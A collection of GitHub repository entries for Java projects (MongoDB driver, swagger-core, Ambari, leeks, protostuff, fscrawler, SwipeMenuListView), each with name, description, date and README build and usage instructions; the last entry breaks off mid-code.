## Release Notes Release notes are available [here](https://github.com/mongodb/mongo-java-driver/releases). ## Documentation Reference and API documentation for the Java driver is available [here](https://www.mongodb.com/docs/drivers/java/sync/current/). Reference and API documentation for the Kotlin driver is available [here](https://www.mongodb.com/docs/drivers/kotlin/coroutine/current/). ## Tutorials / Training For tutorials on how to use the MongoDB JVM Drivers, please reference [MongoDB University](https://learn.mongodb.com/). Additional tutorials, videos, and code examples using both the Java Driver and the Kotlin Driver can also be found in the [MongoDB Developer Center](https://www.mongodb.com/developer/). ## Support / Feedback For issues with, questions about, or feedback for the MongoDB Java and Kotlin drivers, please look into our [support channels](https://www.mongodb.com/docs/manual/support/). Please do not email any of the driver developers directly with issues or questions - you're more likely to get an answer on the [MongoDB Community Forums](https://community.mongodb.com/tags/c/drivers-odms-connectors/7/java-driver) or [StackOverflow](https://stackoverflow.com/questions/tagged/mongodb+java). At a minimum, please include in your description the exact version of the driver that you are using. If you are having connectivity issues, it's often also useful to paste in the line of code where you construct the MongoClient instance, along with the values of all parameters that you pass to the constructor. You should also check your application logs for any connectivity-related exceptions and post those as well. ## Bugs / Feature Requests Think you’ve found a bug in the Java or Kotlin drivers? Want to see a new feature in the drivers? Please open a case in our issue management tool, JIRA: - [Create an account and login](https://jira.mongodb.org). - Navigate to [the JAVA project](https://jira.mongodb.org/browse/JAVA). - Click **Create Issue** - Please provide as much information as possible about the issue type, which driver you are using, and how to reproduce your issue. Bug reports in JIRA for the driver and the Core Server (i.e. SERVER) project are **public**. If you’ve identified a security vulnerability in a driver or any other MongoDB project, please report it according to the [instructions here](https://www.mongodb.com/docs/manual/tutorial/create-a-vulnerability-report). ## Versioning Major increments (such as 3.x -> 4.x) will occur when break changes are being made to the public API. All methods and classes removed in a major release will have been deprecated in a prior release of the previous major release branch, and/or otherwise called out in the release notes. Minor 4.x increments (such as 4.1, 4.2, etc) will occur when non-trivial new functionality is added or significant enhancements or bug fixes occur that may have behavioral changes that may affect some edge cases (such as dependence on behavior resulting from a bug). An example of an enhancement is a method or class added to support new functionality added to the MongoDB server. Minor releases will almost always be binary compatible with prior minor releases from the same major release branch, except as noted below. Patch 4.x.y increments (such as 4.0.0 -> 4.0.1, 4.1.1 -> 4.1.2, etc) will occur for bug fixes only and will always be binary compatible with prior patch releases of the same minor release branch. #### @Beta APIs marked with the `@Beta` annotation at the class or method level are subject to change. They can be modified in any way, or even removed, at any time. If your code is a library itself (i.e. it is used on the CLASSPATH of users outside your own control), you should not use beta APIs, unless you repackage them (e.g. by using shading, etc). #### @Deprecated APIs marked with the `@Deprecated` annotation at the class or method level will remain supported until the next major release but it is recommended to stop using them. #### com.mongodb.internal.* All code inside the `com.mongodb.internal.*` packages is considered private API and should not be relied upon at all. It can change at any time. ## Binaries Binaries and dependency information for Maven, Gradle, Ivy and others can be found at [http://search.maven.org](http://search.maven.org/#search%7Cga%7C1%7Cg%3A%22org.mongodb%22%20AND%20a%3A%22mongodb-driver-sync%22). Example for Maven: ```xml <dependency> <groupId>org.mongodb</groupId> <artifactId>mongodb-driver-sync</artifactId> <version>x.y.z</version> </dependency> ``` Snapshot builds are also published regulary via Sonatype. Example for Maven: ```xml <repositories> <repository> <id>sonatype-snapshot</id> <url>https://oss.sonatype.org/content/repositories/snapshots/</url> </repository> </repositories> ``` ## Build Java 17+ and git is required to build and compile the source. To build and test the driver: ``` $ git clone https://github.com/mongodb/mongo-java-driver.git $ cd mongo-java-driver $ ./gradlew check ``` The test suite requires mongod to be running with [`enableTestCommands`](https://www.mongodb.com/docs/manual/reference/parameters/#param.enableTestCommands), which may be set with the `--setParameter enableTestCommands=1` command-line parameter: ``` $ mkdir -p data/db $ mongod --dbpath ./data/db --logpath ./data/mongod.log --port 27017 --logappend --fork --setParameter enableTestCommands=1 ``` If you encounter `"Too many open files"` errors when running the tests then you will need to increase the number of available file descriptors prior to starting mongod as described in [https://www.mongodb.com/docs/manual/reference/ulimit/](https://www.mongodb.com/docs/manual/reference/ulimit/) ## IntelliJ IDEA A couple of manual configuration steps are required to run the code in IntelliJ: - Java 17+ is required to build and compile the source. - **Error:** `java: cannot find symbol: class SNIHostName location: package javax.net.ssl`<br> **Fix:** Settings/Preferences > Build, Execution, Deployment > Compiler > Java Compiler - untick "Use '--release' option for cross-compilation (Java 9 and later)" - **Error:** `java: package com.mongodb.internal.build does not exist`<br> **Fixes:** Any of the following: <br> - Run the `generateBuildConfig` task: eg: `./gradlew generateBuildConfig` or via Gradle > driver-core > Tasks > buildconfig > generateBuildConfig - Set `generateBuildConfig` to execute Before Build. via Gradle > Tasks > buildconfig > right click generateBuildConfig - click on "Execute Before Build" - Delegate all build actions to Gradle: Settings/Preferences > Build, Execution, Deployment > Build Tools > Gradle > Build and run using/Run tests using - select "Gradle"

swagger-api/swagger-core

Examples and server integrations for generating the Swagger API Specification, which enables easy access to your REST API

2011-07-05T23:44:11Z

# Swagger Core <img src="https://raw.githubusercontent.com/swagger-api/swagger.io/wordpress/images/assets/SW-logo-clr.png" height="50" align="right"> **NOTE:** If you're looking for Swagger Core 1.5.X and OpenAPI 2.0, please refer to [1.5 branch](https://github.com/swagger-api/swagger-core/tree/1.5). **NOTE:** Since version 2.1.7, Swagger Core also supports the Jakarta namespace. There are a parallel set of artifacts with the `-jakarta` suffix, providing the same functionality as the unsuffixed (i.e.: `javax`) artifacts. Please see the [Wiki](https://github.com/swagger-api/swagger-core/wiki/Swagger-2.X---Getting-started) for more details. **NOTE:** Since version 2.2.0 Swagger Core supports OpenAPI 3.1; see [this page](https://github.com/swagger-api/swagger-core/wiki/Swagger-2.X---OpenAPI-3.1) for details  [](https://maven-badges.herokuapp.com/maven-central/io.swagger.core.v3/swagger-project) Swagger Core is a Java implementation of the OpenAPI Specification. Current version supports *JAX-RS2* (`javax` and `jakarta` namespaces). ## Get started with Swagger Core! See the guide on [getting started with Swagger Core](https://github.com/swagger-api/swagger-core/wiki/Swagger-2.X---Getting-started) to get started with adding Swagger to your API. ## See the Wiki! The [github wiki](https://github.com/swagger-api/swagger-core/wiki) contains documentation, samples, contributions, etc. Start there. ## Compatibility The OpenAPI Specification has undergone several revisions since initial creation in 2010. The Swagger Core project has the following compatibilities with the OpenAPI Specification: Swagger core Version | Release Date | OpenAPI Spec compatibility | Notes | Status ------------------------- | ------------ | -------------------------- | ----- | ---- 2.2.21 (**current stable**)| 2024-03-20 | 3.x | [tag v2.2.21](https://github.com/swagger-api/swagger-core/tree/v2.2.21) | Supported 2.2.20 | 2023-12-19 | 3.x | [tag v2.2.20](https://github.com/swagger-api/swagger-core/tree/v2.2.20) | Supported 2.2.19 | 2023-11-10 | 3.x | [tag v2.2.19](https://github.com/swagger-api/swagger-core/tree/v2.2.19) | Supported 2.2.18 | 2023-10-25 | 3.x | [tag v2.2.18](https://github.com/swagger-api/swagger-core/tree/v2.2.18) | Supported 2.2.17 | 2023-10-12 | 3.x | [tag v2.2.17](https://github.com/swagger-api/swagger-core/tree/v2.2.17) | Supported 2.2.16 | 2023-09-18 | 3.x | [tag v2.2.16](https://github.com/swagger-api/swagger-core/tree/v2.2.16) | Supported 2.2.15 | 2023-07-08 | 3.x | [tag v2.2.15](https://github.com/swagger-api/swagger-core/tree/v2.2.15) | Supported 2.2.14 | 2023-06-26 | 3.x | [tag v2.2.14](https://github.com/swagger-api/swagger-core/tree/v2.2.14) | Supported 2.2.13 | 2023-06-24 | 3.x | [tag v2.2.13](https://github.com/swagger-api/swagger-core/tree/v2.2.13) | Supported 2.2.12 | 2023-06-13 | 3.x | [tag v2.2.12](https://github.com/swagger-api/swagger-core/tree/v2.2.12) | Supported 2.2.11 | 2023-06-01 | 3.x | [tag v2.2.11](https://github.com/swagger-api/swagger-core/tree/v2.2.11) | Supported 2.2.10 | 2023-05-15 | 3.x | [tag v2.2.10](https://github.com/swagger-api/swagger-core/tree/v2.2.10) | Supported 2.2.9 | 2023-03-20 | 3.x | [tag v2.2.9](https://github.com/swagger-api/swagger-core/tree/v2.2.9) | Supported 2.2.8 | 2023-01-06 | 3.x | [tag v2.2.8](https://github.com/swagger-api/swagger-core/tree/v2.2.8) | Supported 2.2.7 | 2022-11-15 | 3.0 | [tag v2.2.7](https://github.com/swagger-api/swagger-core/tree/v2.2.7) | Supported 2.2.6 | 2022-11-02 | 3.0 | [tag v2.2.6](https://github.com/swagger-api/swagger-core/tree/v2.2.6) | Supported 2.2.5 | 2022-11-02 | 3.0 | [tag v2.2.5](https://github.com/swagger-api/swagger-core/tree/v2.2.5) | Supported 2.2.4 | 2022-10-16 | 3.0 | [tag v2.2.4](https://github.com/swagger-api/swagger-core/tree/v2.2.4) | Supported 2.2.3 | 2022-09-27 | 3.0 | [tag v2.2.3](https://github.com/swagger-api/swagger-core/tree/v2.2.3) | Supported 2.2.2 | 2022-07-20 | 3.0 | [tag v2.2.2](https://github.com/swagger-api/swagger-core/tree/v2.2.2) | Supported 2.2.1 | 2022-06-15 | 3.0 | [tag v2.2.1](https://github.com/swagger-api/swagger-core/tree/v2.2.1) | Supported 2.2.0 | 2022-04-04 | 3.0 | [tag v2.2.0](https://github.com/swagger-api/swagger-core/tree/v2.2.0) | Supported 2.1.13 | 2022-02-07 | 3.0 | [tag v2.1.13](https://github.com/swagger-api/swagger-core/tree/v2.1.13) | Supported 2.1.12 | 2021-12-23 | 3.0 | [tag v2.1.12](https://github.com/swagger-api/swagger-core/tree/v2.1.12) | Supported 2.1.11 | 2021-09-29 | 3.0 | [tag v2.1.11](https://github.com/swagger-api/swagger-core/tree/v2.1.11) | Supported 2.1.10 | 2021-06-28 | 3.0 | [tag v2.1.10](https://github.com/swagger-api/swagger-core/tree/v2.1.10) | Supported 2.1.9 | 2021-04-20 | 3.0 | [tag v2.1.9](https://github.com/swagger-api/swagger-core/tree/v2.1.9) | Supported 2.1.8 | 2021-04-18 | 3.0 | [tag v2.1.8](https://github.com/swagger-api/swagger-core/tree/v2.1.8) | Supported 2.1.7 | 2021-02-18 | 3.0 | [tag v2.1.7](https://github.com/swagger-api/swagger-core/tree/v2.1.7) | Supported 2.1.6 | 2020-12-04 | 3.0 | [tag v2.1.6](https://github.com/swagger-api/swagger-core/tree/v2.1.6) | Supported 2.1.5 | 2020-10-01 | 3.0 | [tag v2.1.5](https://github.com/swagger-api/swagger-core/tree/v2.1.5) | Supported 2.1.4 | 2020-07-24 | 3.0 | [tag v2.1.4](https://github.com/swagger-api/swagger-core/tree/v2.1.4) | Supported 2.1.3 | 2020-06-27 | 3.0 | [tag v2.1.3](https://github.com/swagger-api/swagger-core/tree/v2.1.3) | Supported 2.1.2 | 2020-04-01 | 3.0 | [tag v2.1.2](https://github.com/swagger-api/swagger-core/tree/v2.1.2) | Supported 2.1.1 | 2020-01-02 | 3.0 | [tag v2.1.1](https://github.com/swagger-api/swagger-core/tree/v2.1.1) | Supported 2.1.0 | 2019-11-16 | 3.0 | [tag v2.1.0](https://github.com/swagger-api/swagger-core/tree/v2.1.0) | Supported 2.0.10 | 2019-10-11 | 3.0 | [tag v2.0.10](https://github.com/swagger-api/swagger-core/tree/v2.0.10) | Supported 2.0.9 | 2019-08-22 | 3.0 | [tag v2.0.9](https://github.com/swagger-api/swagger-core/tree/v2.0.9) | Supported 2.0.8 | 2019-04-24 | 3.0 | [tag v2.0.8](https://github.com/swagger-api/swagger-core/tree/v2.0.8) | Supported 2.0.7 | 2019-02-18 | 3.0 | [tag v2.0.7](https://github.com/swagger-api/swagger-core/tree/v2.0.7) | Supported 2.0.6 | 2018-11-27 | 3.0 | [tag v2.0.6](https://github.com/swagger-api/swagger-core/tree/v2.0.6) | Supported 2.0.5 | 2018-09-19 | 3.0 | [tag v2.0.5](https://github.com/swagger-api/swagger-core/tree/v2.0.5) | Supported 2.0.4 | 2018-09-05 | 3.0 | [tag v2.0.4](https://github.com/swagger-api/swagger-core/tree/v2.0.4) | Supported 2.0.3 | 2018-08-09 | 3.0 | [tag v2.0.3](https://github.com/swagger-api/swagger-core/tree/v2.0.3) | Supported 1.6.14 (**current stable**)| 2024-03-19 | 2.0 | [tag v1.6.14](https://github.com/swagger-api/swagger-core/tree/v1.6.14) | Supported 1.6.13 | 2024-01-26 | 2.0 | [tag v1.6.13](https://github.com/swagger-api/swagger-core/tree/v1.6.13) | Supported 1.6.12 | 2023-10-14 | 2.0 | [tag v1.6.12](https://github.com/swagger-api/swagger-core/tree/v1.6.12) | Supported 1.6.11 | 2023-05-15 | 2.0 | [tag v1.6.11](https://github.com/swagger-api/swagger-core/tree/v1.6.11) | Supported 1.6.10 | 2023-03-21 | 2.0 | [tag v1.6.10](https://github.com/swagger-api/swagger-core/tree/v1.6.10) | Supported 1.6.9 | 2022-11-15 | 2.0 | [tag v1.6.9](https://github.com/swagger-api/swagger-core/tree/v1.6.9) | Supported 1.6.8 | 2022-10-16 | 2.0 | [tag v1.6.8](https://github.com/swagger-api/swagger-core/tree/v1.6.8) | Supported 1.6.7 | 2022-09-27 | 2.0 | [tag v1.6.7](https://github.com/swagger-api/swagger-core/tree/v1.6.7) | Supported 1.6.6 | 2022-04-04 | 2.0 | [tag v1.6.6](https://github.com/swagger-api/swagger-core/tree/v1.6.6) | Supported 1.6.5 | 2022-02-07 | 2.0 | [tag v1.6.5](https://github.com/swagger-api/swagger-core/tree/v1.6.5) | Supported 1.6.4 | 2021-12-23 | 2.0 | [tag v1.6.4](https://github.com/swagger-api/swagger-core/tree/v1.6.4) | Supported 1.6.3 | 2021-09-29 | 2.0 | [tag v1.6.3](https://github.com/swagger-api/swagger-core/tree/v1.6.3) | Supported 1.6.2 | 2020-07-01 | 2.0 | [tag v1.6.2](https://github.com/swagger-api/swagger-core/tree/v1.6.2) | Supported 1.6.1 | 2020-04-01 | 2.0 | [tag v1.6.1](https://github.com/swagger-api/swagger-core/tree/v1.6.1) | Supported 1.6.0 | 2019-11-16 | 2.0 | [tag v1.6.0](https://github.com/swagger-api/swagger-core/tree/v1.6.0) | Supported 1.5.24 | 2019-10-11 | 2.0 | [tag v1.5.24](https://github.com/swagger-api/swagger-core/tree/v1.5.24) | Supported 1.5.23 | 2019-08-22 | 2.0 | [tag v1.5.23](https://github.com/swagger-api/swagger-core/tree/v1.5.23) | Supported 1.5.22 | 2019-02-18 | 2.0 | [tag v1.5.22](https://github.com/swagger-api/swagger-core/tree/v1.5.22) | Supported 1.5.21 | 2018-08-09 | 2.0 | [tag v1.5.21](https://github.com/swagger-api/swagger-core/tree/v1.5.21) | Supported 1.5.20 | 2018-05-23 | 2.0 | [tag v1.5.20](https://github.com/swagger-api/swagger-core/tree/v1.5.20) | Supported 2.0.2 | 2018-05-23 | 3.0 | [tag v2.0.2](https://github.com/swagger-api/swagger-core/tree/v2.0.2) | Supported 2.0.1 | 2018-04-16 | 3.0 | [tag v2.0.1](https://github.com/swagger-api/swagger-core/tree/v2.0.1) | Supported 1.5.19 | 2018-04-16 | 2.0 | [tag v1.5.19](https://github.com/swagger-api/swagger-core/tree/v1.5.19) | Supported 2.0.0 | 2018-03-20 | 3.0 | [tag v2.0.0](https://github.com/swagger-api/swagger-core/tree/v2.0.0) | Supported 2.0.0-rc4 | 2018-01-22 | 3.0 | [tag v2.0.0-rc4](https://github.com/swagger-api/swagger-core/tree/v2.0.0-rc4) | Supported 2.0.0-rc3 | 2017-11-21 | 3.0 | [tag v2.0.0-rc3](https://github.com/swagger-api/swagger-core/tree/v2.0.0-rc3) | Supported 2.0.0-rc2 | 2017-09-29 | 3.0 | [tag v2.0.0-rc2](https://github.com/swagger-api/swagger-core/tree/v2.0.0-rc2) | Supported 2.0.0-rc1 | 2017-08-17 | 3.0 | [tag v2.0.0-rc1](https://github.com/swagger-api/swagger-core/tree/v2.0.0-rc1) | Supported 1.5.18 | 2018-01-22 | 2.0 | [tag v1.5.18](https://github.com/swagger-api/swagger-core/tree/v1.5.18) | Supported 1.5.17 | 2017-11-21 | 2.0 | [tag v1.5.17](https://github.com/swagger-api/swagger-core/tree/v1.5.17) | Supported 1.5.16 | 2017-07-15 | 2.0 | [tag v1.5.16](https://github.com/swagger-api/swagger-core/tree/v1.5.16) | Supported 1.3.12 | 2014-12-23 | 1.2 | [tag v1.3.12](https://github.com/swagger-api/swagger-core/tree/v1.3.12) | Supported 1.2.4 | 2013-06-19 | 1.1 | [tag swagger-project_2.10.0-1.2.4](https://github.com/swagger-api/swagger-core/tree/swagger-project_2.10.0-1.2.4) | Deprecated 1.0.0 | 2011-10-16 | 1.0 | [tag v1.0](https://github.com/swagger-api/swagger-core/tree/v1.0) | Deprecated ### Change History If you're interested in the change history of swagger and the Swagger Core framework, see [here](https://github.com/swagger-api/swagger-core/releases). ### Prerequisites You need the following installed and available in your $PATH: * Java 11 * Apache maven 3.0.4 or greater * Jackson 2.4.5 or greater ### To build from source (currently 2.2.22-SNAPSHOT) ``` # first time building locally mvn -N ``` Subsequent builds: ``` mvn install ``` This will build the modules. Of course if you don't want to build locally you can grab artifacts from maven central: `https://repo1.maven.org/maven2/io/swagger/core/` ## Sample Apps The samples have moved to [a new repository](https://github.com/swagger-api/swagger-samples/tree/2.0) and contain various integrations and configurations. ## Security contact Please disclose any security-related issues or vulnerabilities by emailing [security@swagger.io](mailto:security@swagger.io), instead of using the public issue tracker.

apache/ambari

Apache Ambari simplifies provisioning, managing, and monitoring of Apache Hadoop clusters.

2011-09-23T07:00:08Z

<!--- Licensed to the Apache Software Foundation (ASF) under one or more contributor license agreements. See the NOTICE file distributed with this work for additional information regarding copyright ownership. The ASF licenses this file to You under the Apache License, Version 2.0 (the "License"); you may not use this file except in compliance with the License. You may obtain a copy of the License at http://www.apache.org/licenses/LICENSE-2.0 Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. ---> # Apache Ambari [](https://builds.apache.org/view/A/view/Ambari/job/Ambari-trunk-Commit/)  Apache Ambari is a tool for provisioning, managing, and monitoring Apache Hadoop clusters. Ambari consists of a set of RESTful APIs and a browser-based management interface. ## Sub-projects - Ambari Metrics ([GitHub](https://github.com/apache/ambari-metrics), [GitBox](https://gitbox.apache.org/repos/asf?p=ambari-metrics.git)) - Ambari Log Search ([GitHub](https://github.com/apache/ambari-logsearch), [GitBox](https://gitbox.apache.org/repos/asf?p=ambari-logsearch.git)) - Ambari Infra ([GitHub](https://github.com/apache/ambari-infra), [GitBox](https://gitbox.apache.org/repos/asf?p=ambari-infra.git)) ## Getting Started https://cwiki.apache.org/confluence/display/AMBARI/Quick+Start+Guide ## Built With https://cwiki.apache.org/confluence/display/AMBARI/Technology+Stack ## Contributing https://cwiki.apache.org/confluence/display/AMBARI/How+to+Contribute ## License http://ambari.apache.org/license.html

Vedenin/useful-java-links

A list of useful Java frameworks, libraries, software and hello worlds examples

2016-02-13T13:14:52Z

huage2580/leeks

idea插件，查看基金,股票，虚拟币

2020-07-15T10:03:07Z

# leeks   idea插件，查看基金，股票：支持A股，港股，美股 ## 请先阅读完readme，确保编码正确输入 提issues附上:使用的插件版本、IDEA详细的版本信息(到Help->about里面复制出来)，如果【Event Log】有异常信息，也请在issues附上异常 ## 安装 [插件下载地址](https://github.com/huage2580/leeks/releases) 找到 leeks-x.x.x.zip 下载后，直接在IDEA里面安装（安装方式自行百度），注意：直接选择zip文件安装，不要解压。 ## 使用 设置里面找到Leeks选项，输入基金编码，股票编码，英文分号分割【;】，apply。 可以输入成本价和持有份额，估算收益和收益率，编码后通过英文逗号【,】拼接成本价和份额即可。 `隐蔽模式默认开启，开启无着色，并且拼音显示，可以自行关闭。` 基金示例：`006250,3.66,1000;110013;` 股票示例：`sh000001;sh000300;sh600111,55.7,500;hk00700;usAAPL;usBILI` 加密货币示例：`BTC-USD,DOGE-USD` **股票编码有前缀**，示例代码：（sh000001;sh600519;sz000001;hk00700;usAAPL）`股票编码前缀小写`，建议用雪球看网页找 基金编码zfb上面有，或者天天基金看 double shift，连按两下shift，输入leeks，找到toolWindow，打开以后默认在下方，自行调节位置 每次修改，添加基金,股票，只需点击apply自动生效。 基金更新频率一分钟一次，股票10s一次 ### 加密货币的选项 加密货币行情采用雅虎的接口，必须使用代理才能获取数据，编码格式如下: 例:`比特币`货币的编码为`BTC-USD`,【加密货币代码-USD】 ### 分时图和K线图 基金只有估值分时图，股票提供分时图，日周月K线图，非图表，不能进行操作，不会自动刷新。 在表格中双击行即可打开分时图，右键弹出菜单选择K线图。 ### 代理 插件不会使用系统或者IDEA的代理，请前往插件设置页设置代理。格式为`127.0.0.1:1080` 这样子。K线图那些不会走代理 ### 设置更新的时间区间 使用Cron表达式设置更新区间，在线cron工具 https://www.bejson.com/othertools/cron/ 关于设置Cron表达式组合示例： 【\*/10 30-59 9 ? * 2-6;\*/10 0-30 11 ? * 2-6;\*/10 * 10,13,14 ? * 2-6】表示周一至周五，9:30-11:30 ，13:00-15:00，每隔10秒刷新一次； 多个表达式不要出现时间交集，因为交集内会增加运行次数。 ## 预览   ## 常见问题 * 异常日志中出现【java.lang.NoClassDefFoundError: com/github/promeg/pinyinhelper/Pinyin】 解决：请直接选择【编译后的zip文件】进行安装，不要解压zip文件。 * 股票数据内容显示都是符号【-】 解决：确保填写的股票数据格式不正确，有小写前缀。示例（sh000001;sh600519;sz000001;hk00700;usAAPL） ## change - v1.1 增加了股票的tab，采用腾讯的行情接口，股票轮询间隔10s - v1.2 支持了港股和美股 示例代码：（sh000001,sh600519,sz000001,hk00700,usAAPL）代码一般可以在各网页端看得到 - v1.3 插件由小韭菜更名为Leeks 支持了IDEA 2020.1.3,兼容到`IDEA 2017.3`，修复macOS 行高问题 - v1.4.1 增加了隐蔽模式（全拼音和无色涨跌幅 - v1.4.2 支持到IDEA 2020.2.* - v1.5.1 增加了股票界面按表头排序，设置界面及时生效，不用点击refresh按钮啦 merge from [dengerYang](https://github.com/dengerYang) - v1.5.2 增加了股票的最高价最低价 . merge from [dengerYang](https://github.com/dengerYang) - v1.6.1 样式和bug fix,(样式调整，增加当日净值merge from [dengerYang](https://github.com/dengerYang) ) - v1.6.2 适配IDEA 2020.3 - v1.6.3 修复颜色错乱问题 , 日志调整 merge from [qwn3213](https://github.com/qwn3213) - v1.7.1 增加日志开关 ,设置界面样式调整 merge from [dengerYang](https://github.com/dengerYang) ，增加新浪股票接口备选 merge from [JulianXG](https://github.com/JulianXG) - v1.8.1 增加了虚拟货币的界面 - v1.8.3 增加了分时图和K线图 merge from [dengerYang](https://github.com/dengerYang) - V1.8.4 bug fix from [DAIE](https://github.com/DA1Y1) - V1.8.5 保存表头顺序 from [DAIE](https://github.com/DA1Y1) - V1.9.1 图表界面优化 from [dengerYang](https://github.com/dengerYang) - V1.9.3 加入代理设置 - V1.9.5 虚拟币行情接口切换为雅虎，必须使用代理才能获取数据 - V1.9.8 支持基金和股票成本价，持仓，收益率，收益显示 from [chenheng](https://github.com/RoaringFlame) - V1.9.9 修复成本价过低时收益金额不正确的问题；from [神驱一梦](https://github.com/BorrisWQBi) - v2.0.1 支持自定义更新的时间段 from [dengerYang](https://github.com/dengerYang) - v2.0.2 兼容成本为负的情况 from [bu6030](https://github.com/bu6030)

hierynomus/sshj

ssh, scp and sftp for java

2010-02-27T14:34:40Z

protostuff/protostuff

Java serialization library, proto compiler, code generator

2014-01-20T01:22:51Z

 A java serialization library with built-in support for forward-backward compatibility (schema evolution) and validation. - **efficient**, both in speed and memory - **flexible**, supporting pluggable formats ### Usecase - messaging layer in RPC - storage format in the datastore or cache For more information, go to https://protostuff.github.io/docs/ ## Maven 1. For the core formats (protostuff, protobuf, graph) ```xml <dependency> <groupId>io.protostuff</groupId> <artifactId>protostuff-core</artifactId> <version>1.7.4</version> </dependency> ``` 2. For schemas generated at runtime ```xml <dependency> <groupId>io.protostuff</groupId> <artifactId>protostuff-runtime</artifactId> <version>1.7.4</version> </dependency> ``` ## Usage ```java public final class Foo { String name; int id; public Foo(String name, int id) { this.name = name; this.id = id; } } static void roundTrip() { Foo foo = new Foo("foo", 1); // this is lazily created and cached by RuntimeSchema // so its safe to call RuntimeSchema.getSchema(Foo.class) over and over // The getSchema method is also thread-safe Schema<Foo> schema = RuntimeSchema.getSchema(Foo.class); // Re-use (manage) this buffer to avoid allocating on every serialization LinkedBuffer buffer = LinkedBuffer.allocate(512); // ser final byte[] protostuff; try { protostuff = ProtostuffIOUtil.toByteArray(foo, schema, buffer); } finally { buffer.clear(); } // deser Foo fooParsed = schema.newMessage(); ProtostuffIOUtil.mergeFrom(protostuff, fooParsed, schema); } ``` ## Important (for version 1.8.x) If you are to purely use this to replace java serialization (no compatibility with protobuf), set the following system properties: ``` -Dprotostuff.runtime.always_use_sun_reflection_factory=true -Dprotostuff.runtime.preserve_null_elements=true -Dprotostuff.runtime.morph_collection_interfaces=true -Dprotostuff.runtime.morph_map_interfaces=true -Dprotostuff.runtime.morph_non_final_pojos=true ``` You can also customize it programmatically: ```java static final DefaultIdStrategy STRATEGY = new DefaultIdStrategy(IdStrategy.DEFAULT_FLAGS | IdStrategy.PRESERVE_NULL_ELEMENTS | IdStrategy.MORPH_COLLECTION_INTERFACES | IdStrategy.MORPH_MAP_INTERFACES | IdStrategy.MORPH_NON_FINAL_POJOS); ``` Use it: ```java Schema<Foo> schema = RuntimeSchema.getSchema(Foo.class, STRATEGY); ``` Questions/Concerns/Suggestions ------------------------------ - subscribe to http://groups.google.com/group/protostuff/ Requirements ------------ Java 1.6 or higher Build Requirements ------------------ Maven 3.2.3 or higher Developing with eclipse ------------------ ```sh mvn install && mvn eclipse:eclipse # Open eclipse, import existing project, navigate to the protostuff module you're after, then hit 'Finish'. ```

gaopu/Java

一些用Java写的小东西（没什么用，大家不要star了😄）

2014-11-18T11:25:02Z

## Stargazers over time [](https://starchart.cc/gaopu/Java) ## 这个仓库内的代码是什么东西 都是以前上大学时自己写的一些东西，有的为了交作业，有的为了玩😊。 ## 为什么很多份不相关的代码放在一个代码库 因为当初还不会合理正确的使用github代码库🙉。 ## 值不值得star 不值得（不过也感谢star了的朋友❤️）。 ## 最后 欢迎大家访问我的私人博客:[www.geekgao.cn](https://www.geekgao.cn) 我的博客搭建在腾讯云，新用户有优惠：[优惠购买腾讯云](https://curl.qcloud.com/JNxboKJ3)（不是新用户用新的账号登陆，用老身份认证也能享受优惠，听说是可这么操作三次），我用的是2核4G5M的配置。

dadoonet/fscrawler

Elasticsearch File System Crawler (FS Crawler)

2012-06-08T17:23:03Z

# File System Crawler for Elasticsearch Welcome to the FS Crawler for [Elasticsearch](https://elastic.co/) This crawler helps to index binary documents such as PDF, Open Office, MS Office. **Main features**: * Local file system (or a mounted drive) crawling and index new files, update existing ones and removes old ones. * Remote file system over SSH/FTP crawling. * REST interface to let you "upload" your binary documents to elasticsearch. ## Latest versions Current "most stable" versions are: | Elasticsearch | FS Crawler | Released | Docs | |---------------|---------------|------------|-------------------------------------------------------------------------------| | 6.x, 7.x, 8.x | 2.10-SNAPSHOT | | [2.10-SNAPSHOT](https://fscrawler.readthedocs.io/en/latest/) | [](https://repo1.maven.org/maven2/fr/pilato/elasticsearch/crawler/fscrawler-distribution/)  [](https://s01.oss.sonatype.org/content/repositories/snapshots/fr/pilato/elasticsearch/crawler/fscrawler-distribution/)     ## Build and Quality Status [](https://github.com/dadoonet/fscrawler/actions/workflows/maven.yml) [](https://fscrawler.readthedocs.io/en/latest/?badge=latest) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler) ## GitHub stats      ## Documentation The guide has been moved to [ReadTheDocs](https://fscrawler.readthedocs.io/en/latest/).  ## Contribute Works on my machine - and yours ! Spin up pre-configured, standardized dev environments of this repository, by clicking on the button below. [](https://gitpod.io/#/https://github.com/dadoonet/fscrawler) # License  Read more about the [Apache2 License](https://fscrawler.readthedocs.io/en/latest/index.html#license). # Thanks Thanks to [JetBrains](https://www.jetbrains.com/?from=FSCrawler) for the IntelliJ IDEA License! Thanks to SonarCloud for the free analysis! [](https://sonarcloud.io/summary/new_code?id=dadoonet_fscrawler)

baoyongzhang/SwipeMenuListView

[DEPRECATED] A swipe menu for ListView.

2014-08-24T15:40:45Z

SwipeMenuListView ================= [](https://android-arsenal.com/details/1/912) [  ](https://bintray.com/baoyongzhang/maven/SwipeMenuListView/_latestVersion) A swipe menu for ListView. # Demo <p> <img src="https://raw.githubusercontent.com/baoyongzhang/SwipeMenuListView/master/demo.gif" width="320" alt="Screenshot"/> </p> # Usage ### Add dependency ```groovy dependencies { compile 'com.baoyz.swipemenulistview:library:1.3.0' } ``` ### Step 1 * add SwipeMenuListView in layout xml ```xml <com.baoyz.swipemenulistview.SwipeMenuListView android:id="@+id/listView" android:layout_width="match_parent" android:layout_height="match_parent" /> ``` ### Step 2 * create a SwipeMenuCreator to add items. ```java SwipeMenuCreator creator = new SwipeMenuCreator() { @Override public void create(SwipeMenu menu) { // create "open" item SwipeMenuItem openItem = new SwipeMenuItem( getApplicationContext()); // set item background openItem.setBackground(new ColorDrawable(Color.rgb(0xC9, 0xC9, 0xCE))); // set item width openItem.setWidth(dp2px(90)); // set item title openItem.setTitle("Open"); // set item title fontsize 